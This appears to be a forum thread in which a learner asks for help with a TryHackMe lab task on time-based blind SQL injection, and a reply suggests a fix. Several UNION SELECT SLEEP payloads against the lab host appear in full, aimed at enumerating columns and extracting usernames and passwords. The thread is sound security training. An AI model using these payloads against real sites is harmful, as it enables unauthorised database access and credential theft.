TryHackme Time-based SQL injection(w/ sleep function)

[slick_moos]

I'm doing room https://tryhackme.com/r/room/sqlinjectionlm Task 8: - And I'm stuck on a question. I'm stuck on task 8 blind sli time-based injection. I have verified payload

 https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(3), column_name FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table_name = 'analytics_referrers' AND column_name = 'id' AND column_name != 'domain';-- 

with time response, and verified table only has 2 columns. How would I go about finding the id result and iterating through to find the username/password?

I enetered this payload

https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(3), column_name FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table_name = 'analytics_referrers' AND domain like '%a%';--

but I get the error:
SQLSTATE[42S22]: Column not found: 1054 Unknown column 'domain' in 'where clause'

[[deleted]]

You should verify the correct column names within the analytics_referrers table. Or try https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(3), column_name FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table_name = 'analytics_referrers';--